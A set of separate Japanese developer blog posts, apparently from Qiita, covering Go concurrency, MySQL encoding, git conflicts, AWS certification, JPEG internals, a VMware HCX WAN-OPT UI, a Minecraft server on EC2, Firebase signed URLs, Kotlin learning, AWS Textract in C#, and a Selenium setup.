Have a nice Geek Life♪

※Twitterで最新情報配信中 [@ayatokura](https://twitter.com/ayatokura)
※Software Design雑誌 (技術評論社) 2018年10月号から連載記事「Visual Studio Code快適生活」スタートしました✨
Go言語で並列処理

# Go言語で並列処理

Go言語でサーバのパフォーマンスを向上させる！というタスクがあったとします。その場合、シングルスレッドで直列的に処理をしていてはパフォーマンスは大きく下がってしまうと思います。そこで並列処理の登場です！

## 並列処理とは
マルチスレッドで複数の処理を同時に処理することです。例えば、あるスレッドではループ処理をして、もう一方のスレッドではデータベースアクセスをする等同時に処理することで処理のスピードは大幅に変わります。

## 実験
実際に実装してみて処理時間に差が出るが見てみましょう。なお処理時間の差がわかりやすくなるように1千万回ループしています。

#### 直列処理
まずはシングルスレッドでの直列的な処理です。

```go
package main

import (
	"fmt"
	"time"
)

func loop(id int) {
  for i := 0; i < 10000000; i++ {
  }
}

func main() {
  start := time.Now()
  loop(1)
  loop(2)
  loop(3)
  end := time.Now()
  fmt.Printf("%f秒\n", (end.Sub(start)).Seconds())
}
```

結果は以下のようになりました。

```
$ go run main.go
0.017746秒
```

これだけみてもよくわからないので次に並列処理です。

#### 並列処理
go言語にはGoroutineというものがあり、関数名の前に`go`をつけるだけで並列処理になります。また、channelというものもありデータの送受信などが出来るみたいですが今回は返り値がないので適当にbooleanを返しておきます。実装は以下のようになります。

```go
package main

import (
	"fmt"
	"time"
)

func loopByParallel(id int, ch chan bool) {
  for i := 0; i < 10000000; i++ {
  }
  ch <- true
}

func main() {
  start := time.Now()
  ch1 := make(chan bool)
  ch2 := make(chan bool)
  ch3 := make(chan bool)
  go loopByParallel(1, ch1)
  go loopByParallel(2, ch2)
  go loopByParallel(3, ch3)
  <-ch1
  <-ch2
  <-ch3
  end := time.Now()
  fmt.Printf("%f秒\n", (end.Sub(start)).Seconds())
}
```

これで3つのループ処理が並列に処理されるはずです。結果を見てみましょう。

```
$ go run main.go
0.007073秒
```

見事に実行時間が2/5程度になりました！

## まとめ
いかがだったでしょうか？今度はchannelの正しい使い方やWebサーバへの応用なども見ていきたいところです！それでは
???? 文字化け解消

# SQL
my.cnfの変更だと、新しく作ったときだけしか反映されない。
DBを選択して文字エンコーディング変更する必要がある。


```sql
#操作するDBを選択
show databases;
use db_name;

#現在の文字エンコーディング確認
show variables like '%char%';

#UTF8を使用するようにする(絵文字使いたい場合は、utf8mb4 utf8mb4_general_ci適宜変更)
ALTER DATABASE db_name character set utf8 collate utf8_general_ci;
```
JSONをdoneメソッドで受取り、HTMLを作成する処理の流れについて

非同期通信の実装で分からなかったところをアウトプットしてみた。


以下は、JSONをdoneメソッドで受取り、HTMLを作成する処理のコードである。

```javascript

$(function(){
  function buildHTML(comment){
    var html = `<p>
                  <strong>
                    <a href=/users/${comment.user_id}>${comment.user_name}</a>
                    ：
                  </strong>
                  ${comment.text}
                </p>`
    return html;
  }
  #間は省略する
    .done(function(data){
      var html = buildHTML(data);
      $('.comments').append(html)
      $('.textbox').val('')
    })
  })
});
```

doneメソッド以下の記述は、非同期通信に成功した時の記述である。非同期通信に成功した時の即時関数の第一引数(data)の中には、サーバから返されたデータが入っている。また、サーバから返されたデータとは、jbuilderで作成したJSON形式のデータを指す。

そして、上部において、受け取ったデータをHTMLに変換するコードを記述する。

自分的にはなぜ、受け取ったデータをHTMLに変換するコードを上部に書いているのかが今一よく理解できなかった。
この点について、ご指摘いただけると助かります。
githubでconflict-コンフリクト(mergeした時の衝突？)した時の対処法・考え方(sourcetree)

# 問題
sourcetreeを使ってgithub上にローカルフォルダを共有(pull request)しようとしたところconflictした

# 原因
すでに有るgithub上のレポジトリにローカルフォルダを共有(pull request)しようとした
(レポジトリからクローンしてるわけではないのでxcode上で誤差が出ることがあり、conflictになったと思われる)
当初はgithubの使い方をよく知らず、ローカルフォルダを直接githubサイトにアップロードしていた
https://github.com/jbnkk40/BallFaceCam
とりあえずこんな感じでもともとアップロードしてたリポジトリとつなぎ、sourcetreeで共有してみるもののエラーが発生

```
$ git init
Reinitialized existing Git repository in /Users/ユーザー名/Downloads/BallFaceCam-master/.git/
$ git remote add origin https://github.com/jbnkk40/BallFaceCam.git
```

・[【エラー解決】『 ! [rejected] master -> master (non-fast-forward) 』のせいでpushできねぇ](https://qiita.com/Hiroki-IT/items/1671514eb659880e5bef)
・[【メモ】gitでremoteブランチとlocalブランチの対応付けを行う](http://www.atelier-nodoka.net/2016/12/git-remote-branch-default/)
ググった結果この辺の記事を参考にしてmergeしてみるとconflictが発生

```
$ git fetch
$ git merge --allow-unrelated-histories
fatal: No remote for the current branch.
ユーザー名noMacBook-Air:BallFaceCam-master 
$ git branch --set-upstream-to=origin/master
Branch 'master' set up to track remote branch 'master' from 'origin'.
ユーザー名noMacBook-Air:BallFaceCam-master 
$ git merge --allow-unrelated-histories
```
原因をまとめるとこんな感じらしいです
<img width="768" alt="github-conflict 原因1 .png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/427937/fc4e237d-e158-b40a-13a8-9accee23d831.png">
# 解決策
共有する前に、ローカル側かgithub側かに合わせる工夫が必要
<img width="768" alt="github-conflict 原因2.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/427937/58329f41-72f4-17b4-1dab-6afcd0d1146d.png">


# 参考文献
・[【エラー解決】『 ! [rejected] master -> master (non-fast-forward) 』のせいでpushできねぇ](https://qiita.com/Hiroki-IT/items/1671514eb659880e5bef)
・[【メモ】gitでremoteブランチとlocalブランチの対応付けを行う](http://www.atelier-nodoka.net/2016/12/git-remote-branch-default/)
・[SourceTreeから始めるGit
](https://qiita.com/icoxfog417/items/a650768dfc91b0f0df05)
AWS ソリューションアーキテクト プロフェッショナル SAP-C01 不合格 受験記録

#1. はじめに
2019年6月に新試験のAWSソリューションアーキテクトプロフェッショナル（SAP-C01）を受けて、
スコア690で落ちました。失敗例でも参考になれば幸いです。

2019/08 追記：「[AWS ソリューションアーキテクト プロフェッショナル SAP-C01 合格 受験記録](https://qiita.com/ro9lo/items/fd6c3482cd73dd3a1d26)」を書きました

#2. 自身のAWS歴など
- 2年強
- 主担当サービスはかなりレガシーな構成でELB+EC2のMulti-AZの3層（RDSですらない）
- インフラ寄りの業務の傍ら新規案件のAWS設計レビューとかを担当しています
 - そんな状況で、実業務としてはあまり最近のAWSサービスには触れていません。
- アソシエイトは再認定も含めて3種保有。いずれも850点は取れました。

#3. 学習方法
学習期間は２週間、時間にして多分30時間程度かと思います。
試験２週間前に受けた模試結果は55％でした。

当初は模試で分からなかったところは理解できるまで調べ、あとはBlackbeltを読んでいましたが、
新試験で**合格ラインが65％→75％にかなり上がった**点、
Blackbeltでの学習に限界を感じて、結局ウェブ問題集をいろいろ使いました。
同時期にBlackbeltの動画コンテンツが軒並み無くなったタイミングだったのも痛かったです。

基本は下記のudemyを一通り流して解答と解説を読みつつ、理解が足りていないサービスはBlackbeltを読む感じです。[AWS Solution Architect Professionalサンプル問題38選](https://blog.mosuke.tech/entry/2018/10/25/sapro-sample-question/)は問題の考え方とか解き方を掴むのにかなり参考になりました。

#### 使ったもの
- [udemyの有料模試１ - AWS Certified Solutions Architect Professional Practice Exam](https://www.udemy.com/aws-solutions-architect-professional-practice-exams-2018/)
- [udemyの有料模試２ - AWS Certified Solutions Architect Professional](https://www.udemy.com/aws-certified-solutions-architect-professional-whizlabs/)
- [AWS クラウドサービス活用資料集](https://aws.amazon.com/jp/aws-jp-introduction/)（https://aws.amazon.com/jp/aws-jp-introduction/）
- [よくある質問](https://aws.amazon.com/jp/faqs/)（https://aws.amazon.com/jp/faqs/）
- [AWS Solution Architect Professionalサンプル問題38選](https://blog.mosuke.tech/entry/2018/10/25/sapro-sample-question/)
 
#### 買ったけどほぼ使わなかったもの
- **koiwaclubのSAP対応プラン**

SAPの新試験（SAP-C01）に対応していなかった、解説がもう少し欲しい or そもそも解説が無い、恐らく解答が間違えている問題などが散見されたため使わなくなりました
（対応状況は買う前に更新履歴確認すればよかったのですが）

#### 見送ったもの
- [**Qwiklabs**](https://www.qwiklabs.com/?locale=ja)
 
新試験未対応っぽかった（今思えば実務でサービスを使えてないので一番検討するべきでした）

#4. 試験当日のこと
- 歌舞伎座CBTSで受講（身分証2枚忘れずに）
- 受付でイヤーマフをレンタル

170分 75問の試験ですが、解き終わった時点で55分程度残ってしまいました少し安易に答えすぎたのかも
反面、一通り終わっている安心感で読み直したら理解できた問題もあったので、フラグを立ててさっさと進めてしまうのも悪くないかと思います。

#5. 試験の感想
- アソシエイトレベルではサービス単体で理解していれば解ける問題が多いですが、プロフェッショナルだと複数サービス連携が問われる事が多いので、そのサービスがどのサービスと連携出来るのか、アーキテクチャとしてどれが適切なのかを判断出来る必要がある
 - [CDP](http://aws.clouddesignpattern.org/index.php/%E3%83%A1%E3%82%A4%E3%83%B3%E3%83%9A%E3%83%BC%E3%82%B8)も見直した方がいい感
- 特にOrganizations重要、深く理解が必要。
 - マスターアカウント、組織単位（OU）、下位組織・アカウントへのアクセス権限制御、SCP・IAMポリシーを絡めた権限付与時の挙動、制御方法は熟知が必要
 - Organizationsは所属している側のアカウントだと全然機能を試せないのでマスターとメンバーの2アカウント無いと厳しい
- Direct ConnectやVPNを絡めたハイブリッド構成の構築、オンプレ->クラウドの移行のシナリオ問題も頻出
 - 移行に使えるサービスの理解が必要（DMS他、マイグレに使えるサービス）
- SQL ServerやOracleなどライセンスが絡む製品をAWSサービス上で扱う場合の注意点（スケーリング、移行、バックアップの考慮すべき点）
- RTO/RPOに関わるシナリオを想定した問いも沢山
 - 各サービスのスナップショットの細かい仕様を把握
 - 主要サービスのうちリージョンを超えたDRに使える機能、その扱い方などは把握しておく
 - CloudFormationやBeanstalk＋DB系サービスのバックアップとDRを絡めたシナリオは多く出ました
 - Opsworksも多少
- 既存アーキテクチャのコストを抑えつつ性能改善する問題も多くありました
 - ここらへんはWell-Architectedフレームワークを念頭に考える
- 新しめなサービスも少し見かけたので最低限知っておく必要がありそうです。
 - Amazon Connect、Lex、rekognitionとか

750/1000は結構厳しいなーという印象ですが、またチャレンジしたいと思います！
JPEGって中身どうなってるの？


本記事は一般的な画像圧縮方式***JPEG***に着目して，データの構造や圧縮方法を調査し，まとめた．
#JPEGの構造
JPEGファイルは、先頭に***SOIマーカ(FFD8)***、最終に***EOIマーカ(FFD9)***というもので挟まれており、その間の領域に複数のセグメントと画像データが有る．マーカはJPEGファイル内の各セグメント先頭に書かれている2Byteのcodeで,FF00以外は,各マーカの1Byte目が***FF***で始まる．詳しくは[こちら](https://hp.vector.co.jp/authors/VA032610/JPEGFormat/markers.htm)を参照．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/256340/867eb5ee-2ba2-dff6-4205-6a2edfb910b5.png)

以下の図はバイナリーエディタを用いてJPEGファイルを開き，FFから始まるマーカーを赤く示している．
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/256340/e7ae4c7e-08eb-f9b6-fa81-6d121e36b9a6.png)
#バイナリデータに変換
JPEG形式では画像を圧縮しバイナリデータに変換する際に，一辺が8ピクセルの倍数の小さな画像に分割し,個々の画像をデータに変換する．戻す時は，順番に復元し，個々の画像をつなげ合わせて1枚の大きな画像にする．
本記事ではJPEG形式の圧縮方法の概要理解を促すため，変換過程の一例を以下図にて示す．専門用語については，[こちら](https://hp.vector.co.jp/authors/VA032610/JPEGFormat/AboutImage.htm)をご参考下さい．

![図1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/256340/ddb99db4-96bf-e442-8174-833466a8de80.jpeg)

#参考文献
[JPEG画像の中をちょっとだけのぞいてみる](https://qiita.com/kazuaki0213/items/d3e71fe203b4f1d19abc)
[JPEGファイルの理解を深める](https://qiita.com/daisukeoda/items/a25e1bca890c27846253)
[画像データの構造](https://hp.vector.co.jp/authors/VA032610/JPEGFormat/AboutImage.htm)
[JPEGのハフマン符号 (1) DC成分](https://kuriken12.hatenadiary.org/entry/20100115/1263566612)
[マーカ一覧](https://hp.vector.co.jp/authors/VA032610/JPEGFormat/markers.htm)
プルエリクエストを細かく行う意味と方法について

Githubの使用になかなか慣れないので、復習のためアウトプットしてみた。

#1.プルエリクエストとは？
プルリクエストとは、作成したブランチをmasterブランチにマージするときの確認作業である。プルリクエストを使うと、Github上でブランチ間にどれだけコード修正の差分があるかを視覚的に確認することができる。また、差分を元に他の開発者から確認やレビューをもらうことができる。



#2.プルエリクエストを細かく行う意味
チームや複数人で開発を行う際は、プルエリクエストを細かく行うことが推奨されている。その理由は、大きすぎるプルリクエストをした場合、レビュワーの負担が大きくなってしまうからである。また、もし実装方針に間違いがあった場合に軌道修正が大変になるからである。
よって、プルエリクエストを行う際は、各人が各種の機能の実装ごとに段階を追って行う必要性がある。また、個人でアプリを開発する際も、このような意識を持つ必要性がある。

#3.プルエリクエストを細かく行う方法
具体的な方法は、①各種の機能の実装ごとにgithubにおいて、masterブランチからブランチを切る、②そのブランチ上で開発作業を行う、③プルリクエストを出す。自分の場合、①の作業を全く行なっていなかったため、１つのブランチ上で各種複数の機能の実装を行なってしまった。
以後、このようなことがないように気をつけていきたい。

　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　以上
VMware HCX on IBM Cloud の WAN-OPT 管理 UI を有効化する


# はじめに
HCX の WAN Optimizer (WAN-OPT) のコンポーネントでは、サイト間通信の圧縮・重複排除・帯域制御を行い、vMotion などの移行通信に関して、平均で 3〜6 倍パフォーマンスを向上させてくれます。
WAN-OPT のデプロイ時に指定できる項目は帯域制御の値のみですが、デプロイ後に管理 UI を有効化することで、移行通信のステータスをグラフィカルに確認することができ、パフォーマンスレポートにも活用できます。

# WAN-OPT 管理インターフェースの設定
vSphere Client から WAN-OPT のコンソール画面を開きます。

![Kobito.b2W2ng.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/c1925979-bbfd-f745-8179-ac7083334f15.png "Kobito.b2W2ng.png")

`F4` を押し、管理インターフェースを設定します。

![Kobito.2bWfUi.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/00715cf5-3802-ea93-dfb1-7350ba53b578.png "Kobito.2bWfUi.png")

`Static` を選択します。

![Kobito.ehsTb9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/d92eb548-4ff6-5d20-458b-1b478bcc6679.png "Kobito.ehsTb9.png")

IP アドレスなどのネットワーク情報を設定し、 `Okay` を押します。

![Kobito.BVf3yr.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/2e622199-9b48-4b32-015e-5c42a1f73647.png "Kobito.BVf3yr.png")

設定した情報を確認し、 `Apply` を押します。

![Kobito.wPNBW8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/4e2094c3-4b6e-a1cd-685c-96e5b9903b9d.png "Kobito.wPNBW8.png")

これで設定は完了です。

# WAN-OPT 管理インターフェースの接続
vSphere Client から WAN-OPT の設定を編集する画面を開きます。
管理インターフェースとして使われるネットワークアダプタ 1 が接続されていないはずなので、 `Connected` にチェックをして `OK` を押します。

![Kobito.K08HA3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/035800b2-bd1b-2410-db8a-001d19e05076.png "Kobito.K08HA3.png")

これで接続は完了です。

# WAN-OPT 管理 UI へのアクセス

先ほど設定した管理インターフェースの IP アドレス `http://x.x.x.x` にブラウザでアクセスすると、こちらのページが表示されます。
初期パスワードは、 `User Name` と同じ `admin` でログインできます。

![Kobito.7OFjhN.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/12d88eaa-5f1b-12f1-c2e3-2e199470bbe4.png "Kobito.7OFjhN.png")

これで管理 UI へアクセスできました。

![Kobito.6l7ZPO.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/1f80fc35-5ad9-59de-717c-fc56326bb21f.png "Kobito.6l7ZPO.png")


# vMotion をしたときに確認できる情報の例
では、vMotion を実施して、どのような情報が確認できるかをみてみます。
以下のように、ちょうど 1:19〜1:24 にかけて vMotion を実施しました。

![Kobito.idoGaI.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/4b4166d1-589b-5629-fc49-8574a2285fb6.png "Kobito.idoGaI.png")

`Bandwidth` では、 WAN-OPT の LAN インターフェースを経由した帯域幅と、WAN インターフェースを経由した帯域幅の値が左軸の目盛りで表示されています。
さらに LAN と WAN の帯域幅の比率も緑線で右軸の目盛りで表示されています。
このグラフから vMotion の移行トラフィックが最大で 10 倍程度に削減されたことがわかります。

![Kobito.7mdAJk.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/dbe54ffd-bb97-b29c-273a-36281dc704c4.png "Kobito.7mdAJk.png")

また、その右に表示されている `Top Applications` のグラフでも vMotion の移行トラフィックが全体で約 80 % 削減されたことが確認できます。

![Kobito.fsOUSk.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/101361/2919d384-c92e-cc76-e73e-1e044674a057.png "Kobito.fsOUSk.png")

# さいごに
WAN-OPT 管理 UI を有効化することで移行通信に関する情報を詳細に確認できることがわかりました。
確認できた移行トラフィックの削減効果をみると、オプショナルなコンポーネントとはいえ、ほとんどの場合では WAN-OPT をデプロイしたほうがよいでしょう。
紹介した有効化の手順は、オンプレミス側の WAN-OPT でもクラウド側の WAN-OPT でも同様です。
また、管理 UI で確認できる項目も同様で、WAN-OPT の内部的には silver peak のアプライアンスを利用していたことがわかりました。
実際には、管理インターフェースに付与できる IP アドレスが払い出しやすい環境にある WAN-OPT を対象にして、ぜひ移行通信に関する情報を確認してみてください。
AWS EC2でマイクラサーバーを立てたメモ

真夜中に突然「マイクラサーバーを立てたい！！」という欲求が抑えられなくなり、AWSで立ててみました。
なんか地味に躓いたのでメモとして残します。

# 参考ページ

[AWSのEC2でMinecraftのサーバーを構築したヾ( ﾉｼ*°ヮ。)ﾉｼ](https://qiita.com/collapsar/items/cbeddf5c30a8feadd5bf)

[[Linux] AmazonLinuxに、最新のJavaをインストールする](https://www.yoheim.net/blog.php?q=20180101)

# EC２のインスタンスを生成

左メニューからインスタンスを選択。
<img width="171" alt="s1.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308887/84428018-0380-53ce-1272-8c74a5d3ef51.png">

AMI は Amazon Linux AMI を選択。
![s２.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308887/2f0a84a1-f4e5-5dd7-7de1-3bf04ba0fb7d.png)

インスタンスタイプの選択はsmall以上を選択。
microだと動かないらしい...
（数人のアクセスであればsmallでもいけそう）
![s3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308887/05b97543-5393-573c-e564-d6a9fa8a4c5d.png)

インスタンスの設定、ストレージの追加はそのままで。
タグの追加は各自任意で。

セキュリティグループの設定は以下の内容で追加。

```
タイプ : カスタムTCP
プロトコル : TCP
ポート範囲 : 25565
ソース : 0.0.0.0/0
```

キーペアの作成に関しては任意の名前で作成しローカルに保存。
設定の表示が出てこない場合は、左メニューからキーペアを選択し、作成。
<img width="143" alt="s4.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308887/3b4c97e8-ddb7-d71c-d99a-56aff2c0556b.png">


これにて生成完了です！

# インスタンスにIPアドレスを割り当て

左メニューから Elastic IP を選択。
<img width="123" alt="s5.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308887/37460878-2bc9-76e4-77ce-5e883887bb44.png">

新しいアドレスの割り当てから Amazon プール を選択。
![s6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308887/2423dc76-9165-a8a0-6023-d04239c5128c.png)

インスタンスとIPアドレスを関連付けます。
これで設定完了です。

# サーバー立ち上げ

sshで生成したインスタンスに接続します。
先ほどダウンロードしたキーペアのあるディレクトリで、以下コマンドを実行。

```
$ chmod 400 (キーペアのファイル名).pem
$ ssh -i (キーペアのファイル名).pem ec2-user@(ここに Elastic IP を記します)
```

続いてjava等のセッティング。
以下コマンドを実行。

```
$ sudo yum update -y
$ sudo yum -y install git
$ sudo yum install java-1.8.0-openjdk.x86_64
```

サーバーのjarをダウンロードします。
自分はバージョン1.12.2を選択。
コマンドの1.12.2の部分を他のバージョンに変えることも可能です。

```
$ wget https://s3.amazonaws.com/Minecraft.Download/versions/1.12.2/minecraft_server.1.12.2.jar
```
サーバーを一度実行します。

```
java -Xmx1024M -Xms1024M -jar minecraft_server.1.12.2.jar nogui
```

ここで以下のエラーが発生。

```
Exception in thread "main" java.lang.UnsupportedClassVersionError: net/minecraft/server/MinecraftServer : Unsupported major.minor version 52.0
```

原因はjavaのバージョンが8でなく、7で実行されていたことでした。
以下コマンドでバージョンを切り替え。

```
sudo alternatives --config java
```
これで8に切り替え、再度実行すると、うまくいくかと思います。

次に以下コマンド実行後、eula=falseをtrueに変更し、利用規約に同意します。

```
vi eula.txt
```
最後にサーバーを立ち上げます。

```
$ java -Xmx1024M -Xms1024M -jar minecraft_server.1.12.2.jar nogui
```

# いざ接続

マイクラのクライアントを起動し、マルチプレイからサーバーのIPを指定すると...

![s7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/308887/ff733ca6-566f-b0ed-8c52-2b2b9487b773.png)

繋がりました！

昔リアルサーバー上で立てたときにあんなに苦労したのは一体..ってぐらい簡単でした!すごいっすね！
Firebase Storageの署名付きURLを使用してハマる

## 概要
Firebase StorageのgetSignedUrlメソッドによる署名付きURLを使用した際にハマった際の忘備録

## 背景
FirebaseのCloudFunctionsでAdmin SDKを使用すると、Firebase Storageのファイルに関して下記のような有効期限を指定した署名付きURLを発行して利用することができます。
[(getSignedUrl 参考)](https://cloud.google.com/nodejs/docs/reference/storage/1.5.x/File#getSignedUrl)

```typescript:sample.ts

import * as admin from "firebase-admin";
//略
    const bucket = admin.storage().bucket(buketName);
    const [fileList] = await bucket.getFiles();
    for (const file of fileList) {
      const [url] = await file.getSignedUrl({
        action: "read",
        expires: "03-09-2491" // アクセス可能な有効期限
      });
    }
```

なお、CloudFunctionsで使用するAdminSDKではない、クライアント用のSDKには使用する場合には、getDownloadURLといったメソッドがありますが、AdminSDKの場合は上記署名付きURLによる取得処理になります。
[(参考)](https://firebase.google.com/docs/storage/web/download-files?hl=ja)

## 問題
上記で取得したURLをFirestoreに画像のダウンロードURLとして保存して、Webサイト上でそのURLを使用して画像を表示した場合に、一定期間を過ぎると画像が表示されなくなるといった問題が発生しました。

直接URLにブラウザからアクセスすると下記のようなエラーが表示されるようになり、画像の表示ができなくなっていることが分かります。

```xml:error
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<Error>
<Code>SignatureDoesNotMatch</Code>
<Message>
The request signature we calculated does not match the signature you provided. Check your Google secret key and signing method.
</Message>
<StringToSign>
GET 16447017600 xxxxxx/xxxx.jpg
</StringToSign>
</Error>
```

expiresで指定した期限より早く使用できなくなってしまう理由がわからず、色々と調べているとstackoverflow上でも似たような症状が発生しているスレッドが見つかりました。
[(リンク)](https://stackoverflow.com/questions/55388061/getsignedurl-in-google-cloud-function-produces-link-that-works-for-several-day)

詳細までは把握できていませんが、結局のところ、Google側で1週間単位で秘密鍵の変更を行っており、その関係で使用できなくなっているようです。公式のドキュメントのサンプルコード自体が2022年といった未来をしているので解せないところですが・・・。
確認はしていませんが、同じ仕組みを使用しているGCPでも同じ症状が起きるようです。

## 解決策
よく使用されているテクニックですが、最終的に署名付きURLをやめて、Storageのアクセス権限を変更し、下記のようなバケット名とファイルパスから固定URLを指定することでアクセスする方式に変更して対応しました。
[(参考)](https://qiita.com/musatarosu/items/2a0f3915afbd9e717cff)

```typescript:sample.ts

const url = `https://firebasestorage.googleapis.com/v0/b/${buketName}/o/${encodeURIComponent(filepath)}?alt=media`;

```
初めてUdemyを終えてみた雑感(Kotlin for Beginners: Learn Programming With Kotlin)

はじめまして、ひぐと申します。3月からTechExpertの夜間コースに通いはじめた見習いです。
一応Udemyの講座を一つ終えたので、その過程についてレビューしてみようと思います。
初めての投稿ですのでお手柔らかに。
（コメントやアドバイスをもらえると、画面の向こう側で飛び上がって喜びます。本当に飛び上がるので試してみてください。）

#なぜKotlin??
私がKotlinを勉強しはじめる一番大きなきっかけは、スクールでの自作アプリの発表会です。
基本的にTechExpertのカリキュラムではrubyとrailsを中心に学習するのですが、このアプリ製作を通じて新しい言語を学ぶ機会にされている方が多いようです。

ではさて何を勉強しようか、と考えた時に、まず[Kentaさんの動画](https://youtu.be/KGzoE6z7ojk)を参考にしました。
その中でも身近なスマホアプリを製作できることに魅力を感じて、Kotlinを学習することに決めました。
また事前に[このような記事](https://jp.techcrunch.com/2019/05/08/2019-05-07-kotlin-is-now-googles-preferred-language-for-android-app-development/)を見ていたことも大きかったと思います。
("ことりんって可愛い"と会話が弾むこともあるのも◎ ??)

#せっかくなのでUdemyやってみるかー
何で勉強しようかと思うわけですが、せっかくの機会なので以前から気になっていたUdemyを使ってみようと思いました。(以前、衝動的にPythonも買いましたが、それはまたボチボチやります。)
Kotlinと検索するとそこそこの数の講座があるのですが、発表会まで期間が２週間と限られているので、動画の時間が6.5時間と短くて、かつ評価が高いものを選びました。(https://www.udemy.com/kotlin-course/)


#ざっくりとした講座内容
前半部(2時間弱)の講座の内容はこんな感じ。○は特に印象に残ったものを書いています。

1. Kotlinの概要、Javaやエディタ(IntelliJ)のインストール方法。またそれらの基本的な使い方。
2. 変数の種類の解説や宣言の仕方。(valとvarの違いが○)
3. ifやwhenという条件分岐のコードの書き方
4. listとarrayListという２種類の配列の違いと使い方
5. ループ文の書き方(forとwhileの使い分け○)

後半部はこんな感じ。

1. クラスの使い方の基礎。(openやabstractといった継承の仕方○)
2. Overriding, Data class, enum class, packageの導入。
3. ２進数、１６進数の使い方。
4. private,protected,internal,publicといった制限。また関数の使い回し。
5. 実際にコードを使った簡単なゲームの作成。

#英語だけど何となくコードはわかる
学習は動画とエディタを横に並べて、真似をしてコードを打つようにやりました。
問題は講座は全部英語で、何言っているかは８割以上聞き取れないこと。オブジェクト指向とかinterfaceとか細かい概念は正直理解できていません。
しかし意外にも、やることは**rubyやrailsなどでやったこととかなり似ているので、何をしたいコードを書いているのかは結構わかります。**
またvarとvalの違いとかclassの継承とかややこしい概念も、実際にrunさせてエラーを出してから修正する、とやってくれるので違いがわかりやすかった気がします。

#全体的な評価: 完走しやすいのでGood!
まだ実際にandroid studioで開発をしていないのでわからないのですが、ミニマルにコードを理解するなら今のところはこれでいけるかも、と期待しています。
なんせ**6.5時間なので挫折せずいけるところが最大のメリット**やと思います。
また初学者の僕でもわかるくらい**前提知識を必要としない**のも嬉しいです。


###初めての投稿を終えて
周りのスクールの人がブログやっているのに感化されて、ネタになりそうなことが一つできたので書いてみました。
投稿するのに２時間くらいかかりました。。アウトプット能力のなさよ。。みんなマジで尊敬するわ。。
次は、この講座で作ったゲームのコードとか、android studioの導入から開発まで、とか書ければいいんかなぁ。。
.NetからAWS Textractを使う方法


 Amazon TextractをC#.Netから使ってみました。
Amazon TextractとはAWSのサービスのひとつで、文字と項目や表を自動で認識してくれるAI系のサービスです。
https://aws.amazon.com/jp/textract/

2019/6/12現在、TextractのSDKに関する日本語の記事は見当たらなかったのでAWSのリファレンスとにらめっこしながら書いてみました。


・Textract SDKの使い方はこちら（英語）
https://docs.aws.amazon.com/ja_jp/textract/latest/dg/getting-started.html 

↑のSDKの使い方はJavaですが、こちらの.Net用のリファレンスにTextractの項目があるので、
これを見ていけば.NetからTextract SDKが使えます。

・.Net用のリファレンス
https://docs.aws.amazon.com/sdkfornet/v3/apidocs/Index.html
 
 
環境は、.Net Core（Razor page） + C#です。
 

で、こちらがPOSTしたファイルをそのままTextractに渡して解析するサンプルコードです。
（Razor pageでFormからのSubmitに対するOnPostイベントハンドラ部分です。）
簡単に説明すると、解析対象の画像ファイルをMemoryStreamに入れてリクエストを投げれば、Blocksというリストに結果が入って返ってくるので、あとは煮るなり焼くなり、という感じです。 
 
	public IActionResult OnPost(IFormFile Targetfile)
 	{
         using (var client = new AmazonTextractClient(awsCredentials, this.awsOptions.Region))
         {
                //Document処理用のバッファ用意
                Stream s = Targetfile.OpenReadStream();
                byte[] file = new byte[Targetfile.Length];
                MemoryStream ms = new MemoryStream(file);
                s.CopyTo(ms);
 
 
                //AWSに解析させるDocumentオブジェクトの準備
                Document doc = new Document();
                doc.Bytes = ms;
 
 
                //リクエストの作成
                 DetectDocumentTextRequest req = new DetectDocumentTextRequest();
                 req.Document = doc;
 
                //処理実行
                 var response = client.DetectDocumentTextAsync(req);
                 response.Wait();
 
 
                //結果を見る
                //ここまでくれば、結果はresponse.Result.Blocksに入っています。
                //BlocksというのはTextractが解析してくれた結果リストで、発見されたオブジェクトが入っています。
                //ここではテキストだけですが、表や項目を解析すればそれもBlocksに入ってきます。
                //詳しくはこちら。https://docs.aws.amazon.com/ja_jp/textract/latest/dg/how-it-works-detecting.html
        }
	}
 

※もちろんエラー処理とかは書いてないので、必要に応じて書いてください。
pipでSelenium&chrome driverのインストール

## 概要
pipでインストールする過程について
chrome driverとchromeのバージョンが合わず以下のようなエラーが出てハマったのでメモ

~~~
selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only supports Chrome version 76
~~~

## 解決方法
pipでchrome driverをインストールする際は必ずバージョン管理する
またchromeとバージョンを揃える
ヘルプ＞googlechromeについてより確認可能

`$pip install chromedriver-binary==75.0.3770.8.0`
`$pip install selenium`


## テストコード
上手くインストールできたなら以下のテストコードが動くはず

~~~
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import chromedriver_binary
options = Options()
options.binary_location = '/Applications/Google Chrome Canary.app/Contents/MacOS/Google Chrome Canary'
options.add_argument('--headless')
driver = webdriver.Chrome(chrome_options=options)
